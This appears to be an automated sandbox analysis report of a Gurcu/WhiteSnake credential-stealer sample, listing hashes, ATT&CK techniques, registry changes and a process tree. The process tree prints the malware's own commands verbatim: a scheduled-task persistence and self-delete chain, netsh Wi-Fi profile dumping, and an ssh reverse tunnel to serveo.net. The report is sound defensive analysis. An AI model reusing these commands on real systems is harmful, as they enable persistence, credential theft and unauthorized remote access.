gurcu | fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

Analysis

max time kernel
147s
max time network
153s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
06-10-2023 16:24

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General

Target

NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Size

225KB
MD5

1edb8aa1adacda31bc98064b1634ddea
SHA1

7dc5aee1dd577b61a41a5001d465f0606bb33618
SHA256

fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
SHA512

26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a
SSDEEP

3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 7 IoCs

resource	yara_rule
behavioral1/memory/2452-0-0x0000000000F90000-0x0000000000FCE000-memory.dmp	family_gurcu_v3
behavioral1/memory/2452-2-0x000000001B190000-0x000000001B210000-memory.dmp	family_gurcu_v3
behavioral1/files/0x000d00000001224c-7.dat	family_gurcu_v3
behavioral1/files/0x000d00000001224c-8.dat	family_gurcu_v3
behavioral1/memory/2140-9-0x00000000000F0000-0x000000000012E000-memory.dmp	family_gurcu_v3
behavioral1/files/0x000d00000001224c-128.dat	family_gurcu_v3
behavioral1/memory/2976-130-0x000000001B180000-0x000000001B200000-memory.dmp	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Deletes itself 1 IoCs

pid	Process
2004	cmd.exe

Executes dropped EXE 4 IoCs

pid	Process
2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
2392	ssh.exe
2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
2804	ssh.exe

Loads dropped DLL 2 IoCs

pid	Process
2392	ssh.exe
2804	ssh.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2624	schtasks.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2600	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Token: SeDebugPrivilege	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Token: SeDebugPrivilege	2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 2004	2452	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	28
PID 2452 wrote to memory of 2004	2452	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	28
PID 2452 wrote to memory of 2004	2452	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	28
PID 2004 wrote to memory of 2636	2004	cmd.exe	30
PID 2004 wrote to memory of 2636	2004	cmd.exe	30
PID 2004 wrote to memory of 2636	2004	cmd.exe	30
PID 2004 wrote to memory of 2600	2004	cmd.exe	31
PID 2004 wrote to memory of 2600	2004	cmd.exe	31
PID 2004 wrote to memory of 2600	2004	cmd.exe	31
PID 2004 wrote to memory of 2624	2004	cmd.exe	32
PID 2004 wrote to memory of 2624	2004	cmd.exe	32
PID 2004 wrote to memory of 2624	2004	cmd.exe	32
PID 2004 wrote to memory of 2140	2004	cmd.exe	33
PID 2004 wrote to memory of 2140	2004	cmd.exe	33
PID 2004 wrote to memory of 2140	2004	cmd.exe	33
PID 2140 wrote to memory of 2664	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	34
PID 2140 wrote to memory of 2664	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	34
PID 2140 wrote to memory of 2664	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	34
PID 2664 wrote to memory of 2508	2664	cmd.exe	36
PID 2664 wrote to memory of 2508	2664	cmd.exe	36
PID 2664 wrote to memory of 2508	2664	cmd.exe	36
PID 2664 wrote to memory of 2544	2664	cmd.exe	38
PID 2664 wrote to memory of 2544	2664	cmd.exe	38
PID 2664 wrote to memory of 2544	2664	cmd.exe	38
PID 2664 wrote to memory of 2568	2664	cmd.exe	37
PID 2664 wrote to memory of 2568	2664	cmd.exe	37
PID 2664 wrote to memory of 2568	2664	cmd.exe	37
PID 2140 wrote to memory of 2552	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	39
PID 2140 wrote to memory of 2552	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	39
PID 2140 wrote to memory of 2552	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	39
PID 2552 wrote to memory of 2752	2552	cmd.exe	41
PID 2552 wrote to memory of 2752	2552	cmd.exe	41
PID 2552 wrote to memory of 2752	2552	cmd.exe	41
PID 2552 wrote to memory of 1192	2552	cmd.exe	42
PID 2552 wrote to memory of 1192	2552	cmd.exe	42
PID 2552 wrote to memory of 1192	2552	cmd.exe	42
PID 2552 wrote to memory of 2236	2552	cmd.exe	43
PID 2552 wrote to memory of 2236	2552	cmd.exe	43
PID 2552 wrote to memory of 2236	2552	cmd.exe	43
PID 2140 wrote to memory of 2392	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	45
PID 2140 wrote to memory of 2392	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	45
PID 2140 wrote to memory of 2392	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	45
PID 2140 wrote to memory of 2392	2140	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	45
PID 676 wrote to memory of 2976	676	taskeng.exe	50
PID 676 wrote to memory of 2976	676	taskeng.exe	50
PID 676 wrote to memory of 2976	676	taskeng.exe	50
PID 2976 wrote to memory of 2272	2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	51
PID 2976 wrote to memory of 2272	2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	51
PID 2976 wrote to memory of 2272	2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	51
PID 2272 wrote to memory of 1796	2272	cmd.exe	53
PID 2272 wrote to memory of 1796	2272	cmd.exe	53
PID 2272 wrote to memory of 1796	2272	cmd.exe	53
PID 2272 wrote to memory of 1804	2272	cmd.exe	54
PID 2272 wrote to memory of 1804	2272	cmd.exe	54
PID 2272 wrote to memory of 1804	2272	cmd.exe	54
PID 2272 wrote to memory of 1916	2272	cmd.exe	55
PID 2272 wrote to memory of 1916	2272	cmd.exe	55
PID 2272 wrote to memory of 1916	2272	cmd.exe	55
PID 2976 wrote to memory of 2704	2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	56
PID 2976 wrote to memory of 2704	2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	56
PID 2976 wrote to memory of 2704	2976	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	56
PID 2704 wrote to memory of 2624	2704	cmd.exe	58
PID 2704 wrote to memory of 2624	2704	cmd.exe	58
PID 2704 wrote to memory of 2624	2704	cmd.exe	58

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

C:\Users\Admin\AppData\Local\Temp\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2636
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2600
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2624
- - C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2664
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2508
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:2568
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:2544
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2552
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2752
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:1192
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:2236
  - - C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
      "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:5288 serveo.net
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2392

C:\Windows\system32\taskeng.exe
taskeng.exe {D1102C16-33BB-4BCE-8858-8378CA2BEA5E} S-1-5-21-3750544865-3773649541-1858556521-1000:XOCYHKRS\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:676
- C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
  C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
  2⤵
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:2976
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2272
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:1796
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:1804
  - - C:\Windows\system32\findstr.exe
      findstr /R /C:"[ ]:[ ]"
      4⤵
      PID:1916
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2624
  - - C:\Windows\system32\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      PID:2152
  - - C:\Windows\system32\findstr.exe
      findstr "SSID BSSID Signal"
      4⤵
      PID:2596
- - C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:5288 serveo.net
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\.ssh\known_hosts

Filesize
393B

MD5
18015a60cd12f33648facec1263cfafa

SHA1
31b7afd9a2dc51bfad694e5772d430fceedbac3f

SHA256
9ab8d1a229e05070a0364b5c5efd2ab1ddf676b0bc00314ec336bcdc00998190

SHA512
fcdb2e02f01c59916eaa08baeb74cc2f61eed6d96873f41a2299b752b9ec1af5db74a6eac6013c9a45a77d0bbc0431590f16fa74cff779eea97383e2fe073925

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\loshoa0u2z\port.dat

Filesize
4B

MD5
8859a81bd114df94d9f432350c934f4a

SHA1
a7ae8d1e41c691a72f9f746c3dc482182001a7f7

SHA256
61f5643dedd8af708aa354259f12823ba214225568fbd9e30122c35e01c91b76

SHA512
312958e7d39037e847f015c68b93517b2c013960b7cc1f455b05bfbf8b64d2cadefca44e4bffef2a034f3371bfb733fda3c7c6ab605e9869991ec719b6fdfa9f

Download Submit
\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
memory/2140-11-0x000000001A710000-0x000000001A790000-memory.dmp

Filesize
512KB

Download
memory/2140-126-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

Filesize
9.9MB

Download
memory/2140-127-0x000000001A710000-0x000000001A790000-memory.dmp

Filesize
512KB

Download
memory/2140-10-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

Filesize
9.9MB

Download
memory/2140-9-0x00000000000F0000-0x000000000012E000-memory.dmp

Filesize
248KB

Download
memory/2452-5-0x000007FEF5B10000-0x000007FEF64FC000-memory.dmp

Filesize
9.9MB

Download
memory/2452-2-0x000000001B190000-0x000000001B210000-memory.dmp

Filesize
512KB

Download
memory/2452-0-0x0000000000F90000-0x0000000000FCE000-memory.dmp

Filesize
248KB

Download
memory/2452-1-0x000007FEF5B10000-0x000007FEF64FC000-memory.dmp

Filesize
9.9MB

Download
memory/2976-129-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

Filesize
9.9MB

Download
memory/2976-130-0x000000001B180000-0x000000001B200000-memory.dmp

Filesize
512KB

Download
memory/2976-136-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

